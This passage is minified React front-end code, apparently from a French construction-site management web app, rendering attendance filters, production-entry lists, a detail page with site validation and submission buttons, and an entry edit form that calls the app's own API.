text-stone-100&quot;})]}),s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Du&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:R,onChange:ee=&gt;{U(ee.target.value),Y(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Au&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:w,onChange:ee=&gt;{k(ee.target.value),Y(&quot;&quot;)},className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{value:$,onChange:ee=&gt;F(ee.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),Z.map(ee=&gt;s.jsx(&quot;option&quot;,{value:ee.id,children:ee.display_name},ee.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Équipe&quot;}),s.jsxs(&quot;select&quot;,{value:I,onChange:ee=&gt;te(ee.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Toutes&quot;}),W.map(ee=&gt;s.jsx(&quot;option&quot;,{value:ee.id,children:ee.name},ee.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{value:K,onChange:ee=&gt;H(ee.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:ih.map(ee=&gt;s.jsx(&quot;option&quot;,{value:ee.value,children:ee.label},ee.value||&quot;all&quot;))})]})]})]}),y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y}):null,S?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,!S&amp;&amp;g.length===0?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucune présence pour ces critères.&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:g.map(ee=&gt;{var de;return s.jsx(&quot;li&quot;,{children:s.jsx(je,{to:`/attendances/${ee.id}`,className:jt,children:s.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((de=ee.worker)==null?void 0:de.display_name)??`Ouvrier #${ee.worker_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-xs text-stone-500&quot;,children:[ee.date,&quot; · &quot;,Iv(ee.status),ee.hours_worked?` · ${ee.hours_worked} h`:&quot;&quot;]})]}),s.jsx(&quot;span&quot;,{className:&quot;shrink-0 text-lg text-stone-600&quot;,&quot;aria-hidden&quot;:!0,children:&quot;›&quot;})]})})},ee.id)})})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Présences&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (attendances.view).&quot;})]})}const uh=[{value:&quot;&quot;,label:&quot;Tous&quot;},{value:&quot;draft&quot;,label:&quot;Brouillon&quot;},{value:&quot;submitted&quot;,label:&quot;Soumis&quot;},{value:&quot;validated&quot;,label:&quot;Validé (chantier)&quot;},{value:&quot;rejected&quot;,label:&quot;Rejeté&quot;}];function ty(u){var c;return((c=uh.find(f=&gt;f.value===u))==null?void 0:c.label)??u}function ay(){const{token:u,can:c}=we(),{activeProjectId:f,activeProject:r}=ft(),d=f,p=c(&quot;production_entries.manage&quot;),[g,v]=m.useState([]),[y,x]=m.useState(null),[S,b]=m.useState(!0),[T,Y]=m.useState(&quot;&quot;),[R,U]=m.useState(&quot;&quot;),[w,k]=m.useState(&quot;&quot;),[$,F]=m.useState(&quot;&quot;),[I,te]=m.useState(&quot;&quot;),[K,H]=m.useState([]),[Z,q]=m.useState([]),W=m.useCallback(async()=&gt;{if(!u||!d||!c(&quot;production_entries.view&quot;)){b(!1);return}b(!0),x(null);const L=new URLSearchParams;L.set(&quot;per_page&quot;,&quot;100&quot;),L.set(&quot;sort&quot;,&quot;-date&quot;),T&amp;&amp;L.set(&quot;from&quot;,T),R&amp;&amp;L.set(&quot;to&quot;,R),w&amp;&amp;L.set(&quot;work_item_id&quot;,w),$&amp;&amp;L.set(&quot;worker_id&quot;,$),I&amp;&amp;L.set(&quot;status&quot;,I);try{const P=await ne(`/api/v1/projects/${d}/production-entries?${L.toString()}`,{method:&quot;GET&quot;,token:u});v(P.data)}catch(P){x(P instanceof ge?P.message:&quot;Erreur de chargement&quot;),v([])}finally{b(!1)}},[u,d,c,T,R,w,$,I]);m.useEffect(()=&gt;{W()},[W]),m.useEffect(()=&gt;{if(!u||!d)return;let L=!1;return(async()=&gt;{try{const[P,ee]=await Promise.all([ne(`/api/v1/projects/${d}/work-items?per_page=200&amp;sort=name`,{method:&quot;GET&quot;,token:u}),ne(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:u})]);L||(H(P.data),q(ee.data))}catch{L||(H([]),q([]))}})(),()=&gt;{L=!0}},[u,d]);const J=m.useMemo(()=&gt;r?`${r.name}${r.code?` (${r.code})`:&quot;&quot;}`:null,[r]);return c(&quot;production_entries.view&quot;)?d===null||!Number.isFinite(d)?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;rounded-xl border border-stone-800 bg-stone-900/40 px-4 py-6 text-center text-sm text-stone-400&quot;,children:[&quot;Sélectionnez un &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-200&quot;,children:&quot;chantier actif&quot;}),&quot; pour les lignes de production.&quot;]}),s.jsx(je,{to:&quot;/projects&quot;,className:jt,children:&quot;Liste des chantiers&quot;})]}):s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{title:&quot;Production&quot;,subtitle:J??void 0}),s.jsxs(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:[&quot;Saisie terrain et &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validation chantier&quot;}),&quot; — la paie au rendu (`per_completed_work`) utilisera les lignes &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validées ici&quot;}),&quot;, pas l’avancement ouvrage seul.&quot;]}),s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2 sm:flex-row&quot;,children:[c(&quot;work_items.manage&quot;)?s.jsx(je,{to:`/projects/${d}/work-items/new`,className:&quot;block flex-1 rounded-xl border border-stone-600 py-3 text-center text-sm font-medium text-stone-200 hover:bg-stone-900&quot;,children:&quot;+ Nouvel ouvrage&quot;}):null,p?s.jsx(je,{to:&quot;/production-entries/new&quot;,className:&quot;block flex-1 rounded-xl border border-amber-600/50 bg-amber-950/30 py-3 text-center text-sm font-semibold text-amber-400 hover:bg-amber-950/50&quot;,children:&quot;+ Nouvelle saisie&quot;}):null]}),s.jsxs(&quot;section&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/30 p-3&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-xs font-medium text-stone-500&quot;,children:&quot;Filtres&quot;}),s.jsxs(&quot;div&quot;,{className:&quot;grid gap-3&quot;,children:[s.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 gap-2&quot;,children:[s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Du&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:T,onChange:L=&gt;Y(L.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Au&quot;}),s.jsx(&quot;input&quot;,{type:&quot;date&quot;,value:R,onChange:L=&gt;U(L.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-2 py-2 text-sm text-stone-100&quot;})]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrage&quot;}),s.jsxs(&quot;select&quot;,{value:w,onChange:L=&gt;k(L.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),K.map(L=&gt;s.jsx(&quot;option&quot;,{value:L.id,children:L.name},L.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrier&quot;}),s.jsxs(&quot;select&quot;,{value:$,onChange:L=&gt;F(L.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;Tous&quot;}),Z.map(L=&gt;s.jsx(&quot;option&quot;,{value:L.id,children:L.display_name},L.id))]})]}),s.jsxs(&quot;label&quot;,{className:&quot;block&quot;,children:[s.jsx(&quot;span&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;select&quot;,{value:I,onChange:L=&gt;te(L.target.value),className:&quot;mt-1 w-full rounded-lg border border-stone-700 bg-stone-950 px-3 py-2.5 text-sm text-stone-100&quot;,children:uh.map(L=&gt;s.jsx(&quot;option&quot;,{value:L.value,children:L.label},L.value||&quot;all&quot;))})]})]})]}),y?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:y}):null,S?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):null,!S&amp;&amp;g.length===0?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-dashed border-stone-700 px-4 py-8 text-center text-sm text-stone-500&quot;,children:&quot;Aucune ligne de production pour ces critères.&quot;}):null,s.jsx(&quot;ul&quot;,{className:&quot;space-y-2&quot;,children:g.map(L=&gt;{var P;return s.jsx(&quot;li&quot;,{children:s.jsx(je,{to:`/production-entries/${L.id}`,className:jt,children:s.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;span&quot;,{className:&quot;font-medium text-stone-100&quot;,children:((P=L.work_item)==null?void 0:P.name)??`Ouvrage #${L.work_item_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-xs text-stone-500&quot;,children:[L.date,&quot; · &quot;,L.quantity,&quot; &quot;,L.unit,&quot; · &quot;,ty(L.status)]}),s.jsxs(&quot;p&quot;,{className:&quot;mt-0.5 text-[11px] text-stone-600&quot;,children:[L.worker?L.worker.display_name:L.team?`Équipe : ${L.team.name}`:&quot;—&quot;,L.worker_id?&quot; · base paie individuelle possible si validé&quot;:&quot; · suivi équipe (pas de paie auto MVP)&quot;]})]}),s.jsx(&quot;span&quot;,{className:&quot;shrink-0 text-lg text-stone-600&quot;,&quot;aria-hidden&quot;:!0,children:&quot;›&quot;})]})})},L.id)})})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé (production_entries.view).&quot;})]})}async function Bm(u,c,f){return(await ne(c,{...f,token:u})).data}function ly(u){return{draft:&quot;Brouillon&quot;,submitted:&quot;Soumis (en attente chantier)&quot;,validated:&quot;Validé chantier&quot;,rejected:&quot;Rejeté chantier&quot;}[u]??u}function ny(u,c){return c?u===&quot;chef_chantier&quot;||u===&quot;entrepreneur_admin&quot;:!1}function sy(){var H,Z,q;const{productionEntryId:u}=nt(),c=Number(u),{token:f,user:r,can:d}=we(),{activeProject:p,setActiveProjectId:g}=ft(),[v,y]=m.useState(null),[x,S]=m.useState(null),[b,T]=m.useState(!0),[Y,R]=m.useState(!1),U=d(&quot;production_entries.manage&quot;),w=d(&quot;production_entries.view&quot;)&amp;&amp;!U,k=ny(r==null?void 0:r.role,U),$=U&amp;&amp;v&amp;&amp;(v.status===&quot;draft&quot;||v.status===&quot;rejected&quot;)&amp;&amp;!w,F=k&amp;&amp;v&amp;&amp;v.status===&quot;submitted&quot;;m.useEffect(()=&gt;{if(!Number.isFinite(c)||!f||!d(&quot;production_entries.view&quot;)){T(!1);return}let W=!1;return(async()=&gt;{try{const J=await ne(`/api/v1/production-entries/${c}`,{method:&quot;GET&quot;,token:f});W||(y(J.data),g(J.data.project_id))}catch(J){W||S(J instanceof ge?J.message:&quot;Erreur&quot;)}finally{W||T(!1)}})(),()=&gt;{W=!0}},[c,f,d,g]);async function I(W){if(!(!f||!v)){R(!0),S(null);try{const J=await Bm(f,`/api/v1/production-entries/${v.id}`,{method:&quot;PATCH&quot;,body:JSON.stringify({status:W})});y(J)}catch(J){S(J instanceof ge?J.message:&quot;Action impossible&quot;)}finally{R(!1)}}}async function te(W){if(!(!f||!v)){R(!0),S(null);try{const J=await Bm(f,`/api/v1/production-entries/${v.id}/validate`,{method:&quot;POST&quot;,body:JSON.stringify({decision:W})});y(J)}catch(J){S(J instanceof ge?J.message:&quot;Action impossible&quot;)}finally{R(!1)}}}if(!d(&quot;production_entries.view&quot;))return s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Accès refusé.&quot;})]});if(!Number.isFinite(c))return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:&quot;Identifiant invalide.&quot;});if(b)return s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;});if(x&amp;&amp;!v)return s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:&quot;/production-entries&quot;,title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x})]});if(!v)return null;const K=U&amp;&amp;v.status!==&quot;validated&quot;&amp;&amp;!(v.status===&quot;submitted&quot;&amp;&amp;(r==null?void 0:r.role)===&quot;contremaitre_technicien&quot;);return s.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[s.jsx(le,{backTo:&quot;/production-entries&quot;,title:&quot;Ligne de production&quot;,subtitle:p&amp;&amp;p.id===v.project_id?p.name:`Projet #${v.project_id}`}),s.jsxs(&quot;p&quot;,{className:&quot;rounded-lg border border-stone-800 bg-stone-900/50 px-3 py-2 text-xs text-stone-500&quot;,children:[s.jsx(&quot;strong&quot;,{className:&quot;text-amber-600/90&quot;,children:&quot;Validation chantier&quot;}),&quot; (cette page) — distincte de la&quot;,&quot; &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-400&quot;,children:&quot;validation financière de la paie&quot;}),&quot; (module Paie, hors lot actuel).&quot;]}),x?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:x}):null,s.jsxs(&quot;dl&quot;,{className:&quot;space-y-3 rounded-xl border border-stone-800 bg-stone-900/40 p-4 text-sm&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Ouvrage&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-base font-medium text-stone-100&quot;,children:((H=v.work_item)==null?void 0:H.name)??`#${v.work_item_id}`})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Date&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:v.date})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Quantité / unité&quot;}),s.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[v.quantity,&quot; &quot;,v.unit,v.unit_rate?` · taux ${v.unit_rate}`:&quot;&quot;]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Attribution&quot;}),s.jsxs(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:[v.worker?s.jsxs(s.Fragment,{children:[&quot;Ouvrier : &quot;,v.worker.display_name,s.jsx(&quot;span&quot;,{className:&quot;mt-1 block text-[11px] text-stone-500&quot;,children:&quot;Peut servir de base à une paie individuelle au rendu une fois validé chantier.&quot;})]}):null,v.team?s.jsxs(s.Fragment,{children:[v.worker?&quot; · &quot;:null,&quot;Équipe : &quot;,v.team.name,s.jsx(&quot;span&quot;,{className:&quot;mt-1 block text-[11px] text-stone-500&quot;,children:&quot;Suivi chantier ; pas de paie auto individuelle MVP sans répartition.&quot;})]}):null,!v.worker&amp;&amp;!v.team?&quot;—&quot;:null]})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Statut&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-200&quot;,children:ly(v.status)})]}),v.comment?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Commentaire&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 whitespace-pre-wrap text-stone-300&quot;,children:v.comment})]}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Saisi par&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((Z=v.created_by)==null?void 0:Z.full_name)??`#${v.created_by_user_id}`})]}),v.validated_by_user_id?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;dt&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Validé chantier par&quot;}),s.jsx(&quot;dd&quot;,{className:&quot;mt-0.5 text-stone-400&quot;,children:((q=v.validated_by)==null?void 0:q.full_name)??`#${v.validated_by_user_id}`})]}):null]}),w?s.jsx(&quot;p&quot;,{className:&quot;text-xs text-stone-500&quot;,children:&quot;Lecture seule (ex. financier — contexte paie au rendu).&quot;}):null,s.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-2&quot;,children:[K?s.jsx(je,{to:`/production-entries/${v.id}/edit`,className:ml,children:&quot;Modifier&quot;}):null,$?s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:Y,onClick:()=&gt;void I(&quot;submitted&quot;),className:Dt,children:Y?&quot;…&quot;:&quot;Soumettre pour validation chantier&quot;}):null,F?s.jsxs(s.Fragment,{children:[s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:Y,onClick:()=&gt;void te(&quot;validated&quot;),className:Dt,children:Y?&quot;…&quot;:&quot;Valider (chantier)&quot;}),s.jsx(&quot;button&quot;,{type:&quot;button&quot;,disabled:Y,onClick:()=&gt;void te(&quot;rejected&quot;),className:&quot;rounded-xl border border-red-900/60 bg-red-950/40 py-3 text-center text-sm font-semibold text-red-300 hover:bg-red-950/60&quot;,children:&quot;Rejeter (chantier)&quot;})]}):null]})]})}function iy(){const u=new Date,c=u.getFullYear(),f=String(u.getMonth()+1).padStart(2,&quot;0&quot;),r=String(u.getDate()).padStart(2,&quot;0&quot;);return`${c}-${f}-${r}`}function Lm(){const{productionEntryId:u}=nt(),c=u?Number(u):null,f=Number.isFinite(c),r=$t(),{token:d,can:p}=we(),{activeProjectId:g,activeProject:v,setActiveProjectId:y}=ft(),x=g,S=p(&quot;production_entries.manage&quot;),[b,T]=m.useState(&quot;&quot;),[Y,R]=m.useState(&quot;&quot;),[U,w]=m.useState(&quot;&quot;),[k,$]=m.useState(iy()),[F,I]=m.useState(&quot;&quot;),[te,K]=m.useState(&quot;&quot;),[H,Z]=m.useState(&quot;&quot;),[q,W]=m.useState(&quot;draft&quot;),[J,L]=m.useState(&quot;&quot;),[P,ee]=m.useState({}),[de,D]=m.useState(null),[G,ie]=m.useState(!1),[pe,ze]=m.useState(f),[E,Q]=m.useState([]),[X,ae]=m.useState([]),[ce,xe]=m.useState([]),[Se,et]=m.useState(!1);m.useEffect(()=&gt;{Number.isFinite(x)&amp;&amp;y(x)},[x,y]),m.useEffect(()=&gt;{if(!d||!x)return;let he=!1;return(async()=&gt;{try{const[mt,Ge,Ja]=await Promise.all([ne(`/api/v1/projects/${x}/work-items?per_page=200&amp;sort=name`,{method:&quot;GET&quot;,token:d}),ne(&quot;/api/v1/workers?per_page=200&amp;sort=display_name&quot;,{method:&quot;GET&quot;,token:d}),ne(`/api/v1/projects/${x}/teams?per_page=100&amp;sort=name`,{method:&quot;GET&quot;,token:d})]);he||(Q(mt.data),ae(Ge.data),xe(Ja.data))}catch{he||(Q([]),ae([]),xe([]))}})(),()=&gt;{he=!0}},[d,x]),m.useEffect(()=&gt;{if(!f||!d||c===null||!Number.isFinite(c)){ze(!1);return}let he=!1;return(async()=&gt;{try{const mt=await ne(`/api/v1/production-entries/${c}`,{method:&quot;GET&quot;,token:d});if(!he){const Ge=mt.data;Ge.status===&quot;validated&quot;&amp;&amp;et(!0),T(String(Ge.work_item_id)),R(Ge.worker_id?String(Ge.worker_id):&quot;&quot;),w(Ge.team_id?String(Ge.team_id):&quot;&quot;),$(Ge.date.slice(0,10)),I(String(Ge.quantity)),K(Ge.unit),Z(Ge.unit_rate??&quot;&quot;),Ge.status===&quot;rejected&quot;?W(&quot;draft&quot;):Ge.status===&quot;submitted&quot;||Ge.status===&quot;draft&quot;?W(Ge.status):W(&quot;draft&quot;),L(Ge.comment??&quot;&quot;)}}catch(mt){he||D(mt instanceof ge?mt.message:&quot;Chargement impossible&quot;)}finally{he||ze(!1)}})(),()=&gt;{he=!0}},[f,c,d]);async function Ve(he){if(he.preventDefault(),!d||!x)return;if(!Y&amp;&amp;!U){D(&quot;Renseignez au moins un ouvrier ou une équipe.&quot;);return}D(null),ee({}),ie(!0);const mt={work_item_id:Number(b),worker_id:Y?Number(Y):null,team_id:U?Number(U):null,date:k,quantity:Number(F),unit:te,unit_rate:H===&quot;&quot;?null:Number(H),status:q,comment:J===&quot;&quot;?null:J};try{f&amp;&amp;c!==null?(await ne(`/api/v1/production-entries/${c}`,{method:&quot;PATCH&quot;,token:d,body:JSON.stringify(mt)}),r(`/production-entries/${c}`)):(await ne(`/api/v1/projects/${x}/production-entries`,{method:&quot;POST&quot;,token:d,body:JSON.stringify(mt)}),r(&quot;/production-entries&quot;))}catch(Ge){if(Ge instanceof ge){D(Ge.message);const Ja=mr(Ge.body);Ja&amp;&amp;ee(Ja)}else D(&quot;Enregistrement impossible&quot;)}finally{ie(!1)}}return p(&quot;production_entries.view&quot;)?S?x===null?s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{title:&quot;Production&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-500&quot;,children:&quot;Sélectionnez un chantier actif.&quot;})]}):pe?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Chargement…&quot;}):Se?s.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[s.jsx(le,{backTo:`/production-entries/${c}`,title:&quot;Modifier&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:[&quot;Cette ligne est validée côté chantier — elle n’est plus modifiable ici. La validation&quot;,&quot; &quot;,s.jsx(&quot;strong&quot;,{className:&quot;text-stone-300&quot;,children:&quot;financière de la paie&quot;}),&quot; est un autre circuit (module Paie).&quot;]})]}):s.jsxs(&quot;div&quot;,{children:[s.jsx(le,{backTo:f?`/production-entries/${c}`:&quot;/production-entries&quot;,title:f?&quot;Modifier la production&quot;:&quot;Nouvelle production&quot;,subtitle:v==null?void 0:v.name}),s.jsxs(&quot;form&quot;,{onSubmit:he=&gt;void Ve(he),className:&quot;space-y-4&quot;,children:[de?s.jsx(&quot;p&quot;,{className:&quot;text-sm text-red-300&quot;,children:de}):null,s.jsxs(&quot;div&quot;,{children:[s.jsxs(&quot;div&quot;,{className:&quot;mb-1 flex flex-wrap items-center justify-between gap-2&quot;,children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-work-item&quot;,children:&quot;Ouvrage&quot;}),p(&quot;work_items.manage&quot;)&amp;&amp;x!==null?s.jsx(je,{to:`/projects/${x}/work-items/new`,className:&quot;text-xs font-medium text-amber-500 hover:text-amber-400&quot;,children:&quot;+ Créer un ouvrage&quot;}):null]}),s.jsxs(&quot;select&quot;,{id:&quot;pe-work-item&quot;,required:!0,value:b,onChange:he=&gt;T(he.target.value),className:re,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),E.map(he=&gt;s.jsx(&quot;option&quot;,{value:he.id,children:he.name},he.id))]}),P.work_item_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.work_item_id}):null,E.length===0&amp;&amp;p(&quot;work_items.manage&quot;)&amp;&amp;x!==null?s.jsx(&quot;p&quot;,{className:&quot;mt-2 text-xs text-stone-500&quot;,children:&quot;Aucun ouvrage sur ce chantier — utilisez « Créer un ouvrage » ci-dessus.&quot;}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-worker&quot;,children:&quot;Ouvrier (optionnel si équipe)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pe-worker&quot;,value:Y,onChange:he=&gt;R(he.target.value),className:re,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),X.map(he=&gt;s.jsx(&quot;option&quot;,{value:he.id,children:he.display_name},he.id))]}),P.worker_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.worker_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-team&quot;,children:&quot;Équipe (optionnel)&quot;}),s.jsxs(&quot;select&quot;,{id:&quot;pe-team&quot;,value:U,onChange:he=&gt;w(he.target.value),className:re,children:[s.jsx(&quot;option&quot;,{value:&quot;&quot;,children:&quot;—&quot;}),ce.map(he=&gt;s.jsx(&quot;option&quot;,{value:he.id,children:he.name},he.id))]}),P.team_id?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.team_id}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-date&quot;,children:&quot;Date&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-date&quot;,type:&quot;date&quot;,required:!0,value:k,onChange:he=&gt;$(he.target.value),className:re}),P.date?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.date}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-qty&quot;,children:&quot;Quantité&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-qty&quot;,type:&quot;text&quot;,inputMode:&quot;decimal&quot;,required:!0,value:F,onChange:he=&gt;I(he.target.value),className:`${re} text-lg`,placeholder:&quot;ex. 12,5&quot;}),P.quantity?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.quantity}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-unit&quot;,children:&quot;Unité&quot;}),s.jsx(&quot;input&quot;,{id:&quot;pe-unit&quot;,type:&quot;text&quot;,required:!0,value:te,onChange:he=&gt;K(he.target.value),className:re,placeholder:&quot;m2, u, tâche…&quot;}),P.unit?s.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-red-400&quot;,children:P.unit}):null]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{className:oe,htmlFor:&quot;pe-rate&quot;,children:&quot;Taux unitaire 